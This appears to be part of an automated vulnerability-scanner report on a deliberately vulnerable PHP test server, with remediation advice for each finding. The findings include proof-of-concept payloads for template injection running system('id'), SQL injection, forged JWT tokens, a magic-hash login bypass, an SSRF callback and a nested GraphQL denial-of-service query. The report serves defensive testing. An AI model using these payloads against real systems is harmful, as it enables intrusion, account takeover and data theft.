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Evidence strength: High (98/100)
+50 Confirmed (strong signal)
+20 Direct detection (indicator)
+15 Damning token in response ("uid=")
+6 Expected indicator reflected
+2 Reproduced by 2 payload(s)
+5 Stable 2xx response

Proof of Concept
Reproduce:
curl -i 'ssti_test.php?name=%7B%7Bsystem%28%27id%27%29%7D%7D'

Evidence (live response):
uid=33(www-data) gid=33(www-data) groups=33(www-data) <h1>Hello, uid=33(www-data) gid=33(www-data)
groups=33(www-data)!</h1>

Remediation
Never build templates from user input — pass user data as bound variables to a sandboxed engine.

• Keep templates static; render user data through the engine's context/variables, never concatenate it into
the template source.
• Enable the engine's sandbox/auto-escape (e.g. Jinja2 SandboxedEnvironment, Twig sandbox) and
disable dangerous tags/functions.
• Validate/allowlist any value that must influence template selection.

References: CWE-1336 · OWASP: Server-Side Template Injection

[11] GGC-VULN-D0C · OUTDATED_COMPONENT — apache 2.4.58 · CVE-2024-38475
PROBABLE CVSS 8,9 High (Base 9,8 Critical) · CWE-1104 Use of Unmaintained/Vulnerable Third-Party Component ·
Priority P1 (Within 7 days)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P/RC:R

An unmaintained / known-vulnerable third-party component is in use; a published CVE may apply.
Compliance: A06:2021 – Vulnerable and Outdated Components · PCI-DSS v4.0 Req 6.3.1 / 6.3.3 (patch mgmt) · ISO/IEC 27001:2022
A.8.8 · GDPR Art. 32 (security of processing)
MITRE ATT&CK: T1190 Exploit Public-Facing Application

Location: HTTP Server / X-Powered-By banner
Impact: RCE (Direct)
Access: Unauthenticated
Flow: The server banner indicates apache 2.4.58, which the version range for CVE-2024-38475 (fixed in
2.4.60) would cover — version-indicated only, not confirmed exploitable (banner may be backport-patched;
vulnerable config/module not verified).
Evidence strength: Low (43/100)

+18 Likely (weak signal only)
+20 Direct detection (outdated-component)
+5 Stable 2xx response

Proof of Concept
Reproduce:
curl -i ''

Evidence (live response):
Server banner 'Apache/2.4.58' matches CVE-2024-38475 (CWE-22, Critical): mod_rewrite improper
output escaping → URL mapped to filesystem (RCE / source disclosure). Affected: version < 2.4.60.
VERSION-INDICATED / UNVERIFIED — this is a banner-only match: (1) a backported distro pa…

Remediation
Upgrade the flagged component to a fixed release; version-indicated — verify against your actual
(possibly backported) build.

• Upgrade to the fixed version listed for the CVE (or a distro build with the backported patch).
• Confirm the real installed version — a backported security fix can leave the banner version unchanged
(avoid false positives).
• Suppress the version banner (ServerTokens Prod / expose_php=Off / remove X-Powered-By) to reduce
fingerprinting.
• Track dependencies with SCA (composer audit / npm audit / Dependabot) and patch on a schedule.
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References: CWE-1104 · OWASP A06:2021 Vulnerable & Outdated Components · NVD

[12] GGC-VULN-50D · OUTDATED_COMPONENT — lodash@4.17.15 · CVE-2021-
23337
PROBABLE CVSS 8,9 High (Base 9,8 Critical) · CWE-1104 Use of Unmaintained/Vulnerable Third-Party Component ·
Priority P1 (Within 7 days)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P/RC:R

An unmaintained / known-vulnerable third-party component is in use; a published CVE may apply.
Compliance: A06:2021 – Vulnerable and Outdated Components · PCI-DSS v4.0 Req 6.3.1 / 6.3.3 (patch mgmt) · ISO/IEC 27001:2022
A.8.8 · GDPR Art. 32 (security of processing)
MITRE ATT&CK: T1190 Exploit Public-Facing Application

Location: npm lockfile: package-lock.json
Impact: RCE (Direct)
Access: Unauthenticated
Evidence: @ offset 58 — via outdated-component: npm package lodash@4.17.15 (in package-lock.json)
matches CVE-2021-23337 (CWE-77, High): Command injection via template(). Fixed in…
Flow: lodash@4.17.15 is a known-vulnerable dependency (CVE-2021-23337).
Evidence strength: Low (49/100)

+18 Likely (weak signal only)
+20 Direct detection (outdated-component)
+6 Expected indicator reflected
+5 Stable 2xx response

Proof of Concept
Reproduce:
curl -i -X POST 'tests\package-lock.json' --data 'CVE-2021-23337'

Evidence (live response):
npm package lodash@4.17.15 (in package-lock.json) matches CVE-2021-23337 (CWE-77, High): Command
injection via template(). Fixed in 4.17.21 — upgrade to >= 4.17.21.

Remediation
Upgrade the flagged component to a fixed release; version-indicated — verify against your actual
(possibly backported) build.

• Upgrade to the fixed version listed for the CVE (or a distro build with the backported patch).
• Confirm the real installed version — a backported security fix can leave the banner version unchanged
(avoid false positives).
• Suppress the version banner (ServerTokens Prod / expose_php=Off / remove X-Powered-By) to reduce
fingerprinting.
• Track dependencies with SCA (composer audit / npm audit / Dependabot) and patch on a schedule.

References: CWE-1104 · OWASP A06:2021 Vulnerable & Outdated Components · NVD

[13] GGC-SQLI-928 · SQL_QUERY — id
PROBABLE CVSS 8,9 High (Base 9,8 Critical) · CWE-89 SQL Injection · Priority P1 (Within 7 days)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P/RC:R

SQL is built from untrusted input, letting an attacker alter the query to read/modify data or bypass authentication.
Compliance: A03:2021 – Injection · PCI-DSS v4.0 Req 6.2.4 (injection/XSS) · ISO/IEC 27001:2022 A.8.28 · GDPR Art. 32 (security of
processing)
MITRE ATT&CK: T1190 Exploit Public-Facing Application

Location: /oob_test.php
Impact: AUTH_BYPASS (Direct)
Access: Unauthenticated
Flow: $_GET['id'] is concatenated directly into a SQL query "SELECT * FROM users WHERE id = $id" with
no parameterization. The result is never echoed (blind). Time-based detection via SLEEP() in the numeric
context.
Evidence strength: Tentative (29/100)

+18 Likely (weak signal only)
+6 Inferred from timing / HTTP 500 (no direct echo)
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+5 Reproduced by 5 payload(s)

Proof of Concept
Reproduce:
curl -i 'oob_test.php?id=1%3B%20SELECT%20SLEEP%285%29--%20-'

Evidence (live response):
Proof: response took 0.0s while a non-vulnerable request returns in well under 1s — the server
executed the injected delay (blind time-based injection; no data is echoed). Response body:
(empty)

Remediation
Use parameterized queries / prepared statements — never build queries by string concatenation.

• Replace interpolated SQL with bound parameters (PDO/mysqli prepared statements, '?'/named
placeholders).
• For NoSQL, cast user input to the expected scalar type and reject array/operator inputs ((string)$x, type
checks).
• Apply least-privilege DB credentials; the web user should not own DDL or admin rights.
• Add allowlist validation for structural elements that cannot be parameterized (column/table names,
ORDER BY).

References: CWE-89 · OWASP: SQL Injection Prevention Cheat Sheet · CWE-943 (NoSQL)

[14] GGC-SQLI-5B2 · SQL_QUERY — product_id
PROBABLE CVSS 8,9 High (Base 9,8 Critical) · CWE-89 SQL Injection · Priority P1 (Within 7 days)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P/RC:R

SQL is built from untrusted input, letting an attacker alter the query to read/modify data or bypass authentication.
Compliance: A03:2021 – Injection · PCI-DSS v4.0 Req 6.2.4 (injection/XSS) · ISO/IEC 27001:2022 A.8.28 · GDPR Art. 32 (security of
processing)
MITRE ATT&CK: T1190 Exploit Public-Facing Application

Location: api_parsing_hell.php
Impact: INFORMATION_DISCLOSURE (Direct)
Access: Unauthenticated
Flow: When action=check_stock, $data['product_id'] from JSON body is concatenated directly into SQL:
'SELECT qty FROM stock WHERE id = ' . $product_id. This is a blind SQL injection in SQLite via JSON
body.
Evidence strength: Tentative (30/100)

+18 Likely (weak signal only)
+6 Inferred from timing / HTTP 500 (no direct echo)
+6 Reproduced by 6 payload(s)

Proof of Concept
Reproduce:
curl -i -X POST 'api_parsing_hell.php' --data 'JSONBODY:{"action":"check_stock","product_id":"1 OR
1=1"}'

Evidence (live response):
(no response body captured)

Remediation
Use parameterized queries / prepared statements — never build queries by string concatenation.

• Replace interpolated SQL with bound parameters (PDO/mysqli prepared statements, '?'/named
placeholders).
• For NoSQL, cast user input to the expected scalar type and reject array/operator inputs ((string)$x, type
checks).
• Apply least-privilege DB credentials; the web user should not own DDL or admin rights.
• Add allowlist validation for structural elements that cannot be parameterized (column/table names,
ORDER BY).

References: CWE-89 · OWASP: SQL Injection Prevention Cheat Sheet · CWE-943 (NoSQL)
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[15] GGC-JWT-F1B · JWT — jwt
CONFIRMED CVSS 8,8 High (Base 9,8 Critical) · CWE-347 Improper Verification of Cryptographic Signature (JWT) ·
Priority P1 (Within 7 days)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:H/RC:C

A cryptographic signature (e.g. JWT) isn't properly verified, allowing forged tokens and authentication bypass.
Compliance: A02:2021 – Cryptographic Failures · PCI-DSS v4.0 Req 4.2.1 / 6.2.4 · ISO/IEC 27001:2022 A.8.24 · GDPR Art. 32(1)(a)
(encryption)
MITRE ATT&CK: T1078 Valid Accounts · T1548 Abuse Elevation Control Mechanism

Location: /jwt_kid_test.php
Impact: AUTH_BYPASS (Direct)
Access: Customer
Evidence: @ offset 398 — via jwt-kid-traversal-accepted: …LKjOAR-2hd8jEXciE1E forged response:
{"status":"ok","area":"SECRET ADMIN AREA","user":"guest"}
Flow: jwt_decode_vuln() resolves the HMAC signing key from a file path built by concatenating the token's
kid header to __DIR__/keys/ with no sanitization. An attacker sets kid to '../../../dev/null' (or similar traversal),
making the key the empty string from /dev/null, then forges an HS256 token signed with the empty key with
role:admin.
Evidence strength: High (100/100)

+50 Confirmed (strong signal)
+20 Direct detection (jwt-kid-traversal-accepted)
+15 Damning token in response ("SECRET ADMIN AREA")
+6 Expected indicator reflected
+5 Stable 2xx response
+26 Cryptographic baseline-diff: forged accepted, wrong-key control rejected (deterministic)

Proof of Concept
Reproduce:
curl -i 'jwt_kid_test.php?action=profile'

Evidence (live response):
[JWT kid-traversal] forged(HS256 with kid='../../../../../../../../dev/null' signed by its
resolved key) -> 200; control(wrong key/sig) -> 401 forged token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2Rldi9udWxsIn0.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjo…

Remediation
Never use the token-supplied 'kid' to build a filesystem path or SQL query — resolve keys through a
server-side allowlist.

• Map 'kid' to keys via a fixed server-side dictionary of known key-ids → trusted key material; reject any
kid not in the allowlist.
• Do NOT concatenate kid into a file path (path traversal) or a SQL query (SQLi) — treat it as an opaque
lookup key only.
• If kid must reference files, canonicalize and confirm the resolved path stays inside the keys directory;
never accept ../ or absolute paths.
• Reject tokens whose key resolves to empty/missing material instead of HMAC-verifying against an
empty key.

References: CWE-347 · CWE-22 · CWE-89 · RFC 8725 (JWT BCP) · OWASP: JWT kid injection

[16] GGC-JWT-315 · JWT — jwt
CONFIRMED CVSS 8,8 High (Base 9,8 Critical) · CWE-347 Improper Verification of Cryptographic Signature (JWT) ·
Priority P1 (Within 7 days)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:H/RC:C

A cryptographic signature (e.g. JWT) isn't properly verified, allowing forged tokens and authentication bypass.
Compliance: A02:2021 – Cryptographic Failures · PCI-DSS v4.0 Req 4.2.1 / 6.2.4 · ISO/IEC 27001:2022 A.8.24 · GDPR Art. 32(1)(a)
(encryption)
MITRE ATT&CK: T1078 Valid Accounts · T1548 Abuse Elevation Control Mechanism

Location: /jwt_test.php?action=profile
Impact: AUTH_BYPASS (Direct)
Access: Customer
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Evidence: @ offset 242 — via jwt-none-upper-accepted: …QiOjE3ODM3MTI3MTV9. forged response:
{"status":"ok","area":"SECRET ADMIN AREA","user":"guest"}
Flow: jwt_test.php jwt_decode_vuln() reads the alg field from the token header. When alg is 'none' (case-
insensitive), it returns the payload without any signature verification. An attacker crafts a JWT with
{"alg":"none"} header and {"role":"admin"} payload, sends it as a cookie or Authorization header, and gains
admin access to SECRET ADMIN AREA.
Evidence strength: High (100/100)

+50 Confirmed (strong signal)
+20 Direct detection (jwt-none-upper-accepted)
+15 Damning token in response ("SECRET ADMIN AREA")
+6 Expected indicator reflected
+3 Reproduced by 3 payload(s)
+5 Stable 2xx response
+26 Cryptographic baseline-diff: forged accepted, wrong-key control rejected (deterministic)

Proof of Concept
Reproduce:
curl -i 'jwt_test.php?action=profile'

Evidence (live response):
[JWT none-upper] forged(alg=None, no signature) -> 200; control(wrong key/sig) -> 401 forged
token:
eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3ODM3MTI3MTV9.
forged response: {"status":"ok","area":"SECRET ADMIN AREA","user":"guest"}

Remediation
Pin the expected JWT algorithm server-side and reject 'none'; verify every signature against a trusted
key.

• Never trust the token header's 'alg' — explicitly allowlist the expected algorithm (e.g. HS256 or RS256)
and reject 'none'.
• For HMAC verify against a strong server-only secret; for RSA/EC verify against the pinned public key.
• Validate standard claims (exp, nbf, iss, aud) and bind the token to the session; treat role/privilege claims
as untrusted until verified.
• Use a vetted, up-to-date JWT library and disable its 'none' support.

References: CWE-347 · CWE-345 · RFC 8725 (JWT Best Current Practices) · OWASP: JSON Web Token Cheat Sheet

[17] GGC-JWT-260 · JWT — jwt
CONFIRMED CVSS 8,8 High (Base 9,8 Critical) · CWE-347 Improper Verification of Cryptographic Signature (JWT) ·
Priority P1 (Within 7 days)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:H/RC:C

A cryptographic signature (e.g. JWT) isn't properly verified, allowing forged tokens and authentication bypass.
Compliance: A02:2021 – Cryptographic Failures · PCI-DSS v4.0 Req 4.2.1 / 6.2.4 · ISO/IEC 27001:2022 A.8.24 · GDPR Art. 32(1)(a)
(encryption)
MITRE ATT&CK: T1078 Valid Accounts · T1548 Abuse Elevation Control Mechanism

Location: /jwt_rs256_test.php?action=profile
Impact: AUTH_BYPASS (Direct)
Access: Customer
Evidence: @ offset 306 — via jwt-alg-confusion-accepted: …Jt4Hmg4yo984s_5v4-A forged response:
{"status":"ok","area":"SECRET ADMIN AREA","user":"guest"}
Flow: jwt_rs256_test.php jwt_decode_vuln() dispatches verification on the token's own alg header. When
alg=HS256, it HMAC-verifies using the PUBLIC key PEM as the secret. The public key is exposed at
/?action=pubkey. An attacker downloads the public key, forges an HS256 token with role:admin signed using
that public key as the HMAC secret, and gains admin access. Classic RS256→HS256 algorithm confusion.
The none-alg is NOT accepted here (code only handles RS256/HS256), but the alg-confusion is exploitable.
Evidence strength: High (100/100)

+50 Confirmed (strong signal)
+20 Direct detection (jwt-alg-confusion-accepted)
+15 Damning token in response ("SECRET ADMIN AREA")
+6 Expected indicator reflected
+5 Stable 2xx response
+26 Cryptographic baseline-diff: forged accepted, wrong-key control rejected (deterministic)
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Proof of Concept
Reproduce:
curl -i 'jwt_rs256_test.php?action=profile'

Evidence (live response):
[JWT alg-confusion] forged(HS256 signed with the server public key) -> 200; control(wrong key/sig)
-> 401 forged token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3ODM3MTI3MTV9.dDkN78FrU-
fcLyrFvrndoXJRJt4Hmg4yo984s_5v4-A forged respons…

Remediation
Pin ONE expected algorithm and use algorithm-specific keys — never let an RS256 verifier accept an
HS256 token.

• Configure the verifier with a fixed algorithm allowlist (e.g. only RS256) and reject any token whose alg
differs.
• Never feed the RSA/EC PUBLIC key into an HMAC verify path — keep HMAC secrets and asymmetric
keys in separate, type-bound key stores.
• Use a library API that takes the expected algorithm as a required argument (not one inferred from the
token header).
• Validate standard claims (exp, nbf, iss, aud) and treat role/privilege claims as untrusted until the
signature is verified.

References: CWE-347 · CWE-345 · RFC 8725 (JWT BCP) §2.1 Algorithm Verification · OWASP: JWT algorithm confusion

[18] GGC-JWT-965 · JWT — jwt
CONFIRMED CVSS 8,8 High (Base 9,8 Critical) · CWE-347 Improper Verification of Cryptographic Signature (JWT) ·
Priority P1 (Within 7 days)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:H/RC:C

A cryptographic signature (e.g. JWT) isn't properly verified, allowing forged tokens and authentication bypass.
Compliance: A02:2021 – Cryptographic Failures · PCI-DSS v4.0 Req 4.2.1 / 6.2.4 · ISO/IEC 27001:2022 A.8.24 · GDPR Art. 32(1)(a)
(encryption)
MITRE ATT&CK: T1078 Valid Accounts · T1548 Abuse Elevation Control Mechanism

Location: /jwt_jwks_test.php
Impact: AUTH_BYPASS (Direct)
Access: Customer
Evidence: @ offset 312 — via jwt-alg-confusion-accepted: …XZzeRxFhdiX-gntudIo forged response:
{"status":"ok","area":"SECRET ADMIN AREA","user":"guest"}
Flow: jwt_decode_vuln() trusts the token's alg header. If alg=HS256, it HMAC-verifies against the PUBLIC
KEY PEM (algorithm confusion). The public key is available as JWKS at ?action=jwks. An attacker
reconstructs the PEM from the JWKS n/e, signs an HS256 token with role:admin using that PEM as the
HMAC key, and accesses SECRET ADMIN AREA.
Evidence strength: High (100/100)

+50 Confirmed (strong signal)
+20 Direct detection (jwt-alg-confusion-accepted)
+15 Damning token in response ("SECRET ADMIN AREA")
+6 Expected indicator reflected
+5 Stable 2xx response
+26 Cryptographic baseline-diff: forged accepted, wrong-key control rejected (deterministic)

Proof of Concept
Reproduce:
curl -i 'jwt_jwks_test.php?action=profile'

Evidence (live response):
[JWT alg-confusion] forged(HS256 signed with PEM reconstructed from JWKS) -> 200; control(wrong
key/sig) -> 401 forged token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3ODM3MTI3MTV9.xwOS8AXgzr2KvWQYLuVxzSlnXZzeRxFhdiX-
gntudIo forged r…

Remediation
Pin ONE expected algorithm and use algorithm-specific keys — never let an RS256 verifier accept an
HS256 token.
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• Configure the verifier with a fixed algorithm allowlist (e.g. only RS256) and reject any token whose alg
differs.
• Never feed the RSA/EC PUBLIC key into an HMAC verify path — keep HMAC secrets and asymmetric
keys in separate, type-bound key stores.
• Use a library API that takes the expected algorithm as a required argument (not one inferred from the
token header).
• Validate standard claims (exp, nbf, iss, aud) and treat role/privilege claims as untrusted until the
signature is verified.

References: CWE-347 · CWE-345 · RFC 8725 (JWT BCP) §2.1 Algorithm Verification · OWASP: JWT algorithm confusion

[19] GGC-SQLI-60F · SQL_QUERY — limit
POTENTIAL CVSS 8,3 High (Base 9,8 Critical) · CWE-89 SQL Injection · Priority P1 (Within 7 days)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:U/RC:U

SQL is built from untrusted input, letting an attacker alter the query to read/modify data or bypass authentication.
Compliance: A03:2021 – Injection · PCI-DSS v4.0 Req 6.2.4 (injection/XSS) · ISO/IEC 27001:2022 A.8.28 · GDPR Art. 32 (security of
processing)
MITRE ATT&CK: T1190 Exploit Public-Facing Application

Location: /sqli500_test.php
Impact: INFORMATION_DISCLOSURE (Conditional)
Access: Unauthenticated
Flow: $_GET['limit'] is concatenated directly into a SQL query "SELECT id, username FROM users LIMIT
$limit". In PHP 8.1+ with mysqli exception mode, any LIMIT-breaking injection causes an uncaught
mysqli_sql_exception → HTTP 500. With display_errors=Off, the SQL error text never reaches the response
body — only a bare 500 status code (low-certainty/likely signal). SLEEP() cannot run in a LIMIT clause
context, so time-based confirmation is unreliable. The success path echoes only a row count, no sensitive
data.
Evidence strength: Tentative (30/100)

+18 Likely (weak signal only)
+6 Inferred from timing / HTTP 500 (no direct echo)
+6 Reproduced by 7 payload(s)

Proof of Concept
Reproduce:
curl -i 'sqli500_test.php?limit=1%3B%20SELECT%201--%20-'

Evidence (live response):
(no response body captured)

Remediation
Use parameterized queries / prepared statements — never build queries by string concatenation.

• Replace interpolated SQL with bound parameters (PDO/mysqli prepared statements, '?'/named
placeholders).
• For NoSQL, cast user input to the expected scalar type and reject array/operator inputs ((string)$x, type
checks).
• Apply least-privilege DB credentials; the web user should not own DDL or admin rights.
• Add allowlist validation for structural elements that cannot be parameterized (column/table names,
ORDER BY).

References: CWE-89 · OWASP: SQL Injection Prevention Cheat Sheet · CWE-943 (NoSQL)

[20] GGC-CSRF-7C8 · CSRF — HTTP_ORIGIN
CONFIRMED CVSS 8,1 High · CWE-352 Cross-Site Request Forgery · Priority P1 (Within 7 days)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N/E:H/RC:C

A state-changing action lacks an anti-forgery token, so a malicious site can perform it as a logged-in victim.
Compliance: A01:2021 – Broken Access Control · PCI-DSS v4.0 Req 6.2.4 / 7.2.1 · ISO/IEC 27001:2022 A.8.3 / A.5.15 · GDPR Art.
5(1)(f) + Art. 32 (confidentiality)
MITRE ATT&CK: T1539 Steal Web Session Cookie

Location: /cors_test.php
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Impact: INFORMATION_DISCLOSURE (Direct)
Access: Unauthenticated
Flow: cors_test.php reflects ANY Origin header verbatim into Access-Control-Allow-Origin AND sets Access-
Control-Allow-Credentials: true. An attacker page on evil.com can read the authenticated JSON response
(account, email, balance) cross-origin via XHR/fetch with credentials.
Evidence strength: Medium (75/100)

+50 Confirmed (strong signal)
+20 Direct detection (csrf-no-token)
+5 Stable 2xx response

Proof of Concept
Reproduce:
curl -i 'cors_test.php'

Evidence (live response):
{"account":"admin","email":"admin@corp.example","balance":91234}

Remediation
Require an anti-CSRF token on state-changing requests and use SameSite cookies.

• Add per-session/per-request CSRF tokens to all state-changing forms and verify them server-side.
• Set SameSite=Lax/Strict on session cookies; verify Origin/Referer for sensitive actions.
• Never perform state changes via GET.

References: CWE-352 · OWASP: CSRF Prevention Cheat Sheet

[21] GGC-CSRF-5A1 · CSRF — update_bio (POST form)
CONFIRMED CVSS 8,1 High · CWE-352 Cross-Site Request Forgery · Priority P1 (Within 7 days)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N/E:H/RC:C

A state-changing action lacks an anti-forgery token, so a malicious site can perform it as a logged-in victim.
Compliance: A01:2021 – Broken Access Control · PCI-DSS v4.0 Req 6.2.4 / 7.2.1 · ISO/IEC 27001:2022 A.8.3 / A.5.15 · GDPR Art.
5(1)(f) + Art. 32 (confidentiality)
MITRE ATT&CK: T1539 Steal Web Session Cookie

Location: logic_nightmare.php
Impact: SESSION_THEFT (Direct)
Access: Unauthenticated
Flow: The update_bio POST form has no CSRF token (no hidden _token/_csrf/nonce field). An attacker can
craft a cross-site form that auto-submits a bio update, injecting stored XSS into the victim's profile.
Evidence strength: Medium (75/100)

+50 Confirmed (strong signal)
+20 Direct detection (csrf-no-token)
+5 Stable 2xx response

Proof of Concept
Reproduce:
curl -i -X POST 'logic_nightmare.php?page=profile' --data 'update_bio=1&bio=CSRF_injected_payload'

Evidence (live response):
<br /> <b>Warning</b>: Undefined array key "user" in <b>/var/www/html/logic_nightmare.php</b> on
line <b>26</b><br /> <br /> <b>Warning</b>: Undefined array key "pass" in
<b>/var/www/html/logic_nightmare.php</b> on line <b>27</b><br /> <br /> <b>Deprecated</b>: md5():
Passing…

Remediation
Require an anti-CSRF token on state-changing requests and use SameSite cookies.

• Add per-session/per-request CSRF tokens to all state-changing forms and verify them server-side.
• Set SameSite=Lax/Strict on session cookies; verify Origin/Referer for sensitive actions.
• Never perform state changes via GET.

References: CWE-352 · OWASP: CSRF Prevention Cheat Sheet
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[22] GGC-AUTH-BAC · TYPE_JUGGLE — pass
CONFIRMED CVSS 8,1 High (Base 9,1 Critical) · CWE-697 Incorrect Comparison (Auth Bypass) · Priority P1 (Within 7
days)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N/E:H/RC:C

A loose comparison (type juggling) lets crafted values satisfy an authentication check.
Compliance: A04:2021 – Insecure Design · PCI-DSS v4.0 Req 6.2.4 (business-logic) · ISO/IEC 27001:2022 A.8.28 / A.8.27 · GDPR Art.
25 + Art. 32 (data protection by design)
MITRE ATT&CK: T1078 Valid Accounts · T1548 Abuse Elevation Control Mechanism

Location: logic_nightmare.php
Impact: AUTH_BYPASS (Direct)
Access: Customer
Flow: md5($_POST['pass']) is compared with the stored password hash using loose comparison (==). The
stored hash '0e830400451993494058024219903391' is treated as 0 in loose comparison, so any password
whose md5 also starts with '0e' followed by digits will match.
Evidence strength: High (97/100)

+50 Confirmed (strong signal)
+20 Direct detection (auth-bypass-redirect)
+4 Reproduced by 4 payload(s)
+5 Stable 2xx response
+18 Baseline-diff (matched control rejected)

Proof of Concept
Reproduce:
curl -i -X POST 'logic_nightmare.php' --data 'login=1&user=admin&pass=aabC9RqS'

Evidence (live response):
<!DOCTYPE html> <html> <head><title>GGSec Test Server</title></head> <body> <h1>GGSec Scanner Test
Environment</h1> <ul> <li><a href="/login2.php">Login Test</a></li> <li><a
href="/profile.php">Profile Test</a></li> <li><a href="/deserialize_test.php?data=Tzo0OiJVc2Vy…

Remediation
Use strict comparison and constant-time hash checks; never loose-compare hashes.

• Replace == with === (strict) when comparing hashes/tokens/values.
• Use hash_equals()/password_verify() for hash and password checks.

References: CWE-697 · CWE-1025 · OWASP: PHP type juggling

[23] GGC-SSRF-D47 · SSRF — url
CONFIRMED CVSS 7,7 High (Base 8,6 High) · CWE-918 Server-Side Request Forgery · Priority P1 (Within 7 days)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N/E:H/RC:C

The server fetches a user-supplied URL, letting an attacker reach internal services or cloud metadata.
Compliance: A10:2021 – Server-Side Request Forgery (SSRF) · PCI-DSS v4.0 Req 6.2.4 · ISO/IEC 27001:2022 A.8.28 · GDPR Art. 32
(security of processing)
MITRE ATT&CK: T1090 Proxy · T1552.005 Unsecured Credentials: Cloud Instance Metadata API

Location: /oob_test.php
Impact: INFORMATION_DISCLOSURE (Direct)
Access: Customer
Flow: $_GET['url'] is passed directly to file_get_contents() with no validation. The fetched content is never
reflected (blind). An attacker-controlled URL triggers an OOB callback, confirming the server makes arbitrary
outbound requests.
Evidence strength: Medium (83/100)

+50 Confirmed (strong signal)
+28 Out-of-band callback received
+5 Stable 2xx response

Proof of Concept
Reproduce:
curl -i 'http://172.26.203.184/oob_test.php?url=http%3A%2F%2F172.26.192.1%3A8888%2F89cc38379b67'

Evidence (live response):
OOB HTTP callback received by the GGSec collaborator — the target issued an outbound request to
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http://172.26.192.1:8888/89cc38379b67, proving blind (out-of-band) injection. The in-band HTTP
response body is not the proof for this finding.

Remediation
Allowlist outbound destinations and block internal address ranges; don't fetch user URLs directly.

• Allowlist permitted hosts/schemes; deny by default.
• Resolve and block private/link-local/loopback/metadata ranges (169.254.169.254, 127.0.0.0/8,
10/172.16/192.168).
• Disable unneeded URL schemes (file://, gopher://, dict://) and follow-redirect to internal hosts.

References: CWE-918 · OWASP: SSRF Prevention Cheat Sheet

[24] GGC-GQL-28C · GRAPHQL_INJECTION — query
CONFIRMED CVSS 7,5 High · CWE-770 Resource Exhaustion (GraphQL query cost / batching) · Priority P1 (Within 7
days)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:H/RC:C

Unbounded resource consumption (e.g. an expensive query) enables denial of service.
Compliance: A04:2021 – Insecure Design · PCI-DSS v4.0 Req 6.2.4 (business-logic) · ISO/IEC 27001:2022 A.8.28 / A.8.27 · GDPR Art.
25 + Art. 32 (data protection by design)
MITRE ATT&CK: T1190 Exploit Public-Facing Application

Location: /graphql_depth_test.php
Impact: DOS (Direct)
Access: Unauthenticated
Evidence: @ offset 9 — via graphql-depth-dos:
{"data":{"user":{"id":1,"username":"admin","password":"s3cr3t_p4ss","ssn":"1…
Flow: No query depth/complexity limit: deeply nested user{friends{...}} queries are resolved without cost
control, enabling denial of service via recursive queries.
Evidence strength: High (96/100)

+50 Confirmed (strong signal)
+20 Direct detection (graphql-depth-dos)
+15 Damning token in response (""password"")
+6 Expected indicator reflected
+5 Stable 2xx response

Proof of Concept
Reproduce:
curl -i -X POST 'http://172.26.203.184/graphql_depth_test.php' --data
'GQLDEPTH:{user{friends{username friends{username friends{username friends{username
friends{username}}}}}}}'

Evidence (live response):
{"data":{"user":{"id":1,"username":"admin","password":"s3cr3t_p4ss","ssn":"111-11-
1111","friends":[{"id":2,"username":"bob"}]}}}

Remediation
Bound GraphQL query cost — enforce depth/complexity limits, cap aliasing/batching, and rate-limit.

• Add a maximum query depth and a query-complexity/cost limit (reject over-budget queries before
execution).
• Cap or disable aliasing and array/operation batching so one request can't fan out into N expensive
resolvers.
• Enforce per-client rate limiting and pagination caps; set resolver timeouts.
• Use persisted queries / an operation allowlist in production.

References: CWE-770 · CWE-400 · OWASP: GraphQL Cheat Sheet (DoS)

[25] GGC-GQL-DBD · GRAPHQL_INJECTION — query
CONFIRMED CVSS 7,5 High · CWE-285 Improper Authorization (GraphQL field-level) · Priority P1 (Within 7 days)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:H/RC:C

Missing authorization or an information exposure lets an attacker access data/actions they shouldn't.
Compliance: A01:2021 – Broken Access Control · PCI-DSS v4.0 Req 6.2.4 / 7.2.1 · ISO/IEC 27001:2022 A.8.3 / A.5.15 · GDPR Art.
5(1)(f) + Art. 32 (confidentiality)
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MITRE ATT&CK: T1190 Exploit Public-Facing Application

Location: /graphql_test.php
Impact: AUTH_BYPASS (Direct)
Access: Unauthenticated
Evidence: @ offset 46 — via graphql-sqli:
{"data":{"user":[{"id":"1","username":"admin","password":"0192023a7bbd73250516f069df18b500","role":"admin"},{"id":"2…
Flow: SQL injection through GraphQL string literal: the naive parser extracts user(id:"...") and concatenates
the literal directly into SQL: WHERE id = '$id'. Error-based and UNION-based SQLi.
Evidence strength: High (94/100)

+50 Confirmed (strong signal)
+20 Direct detection (graphql-sqli)
+15 Damning token in response (""password"")
+4 Reproduced by 4 payload(s)
+5 Stable 2xx response

Proof of Concept
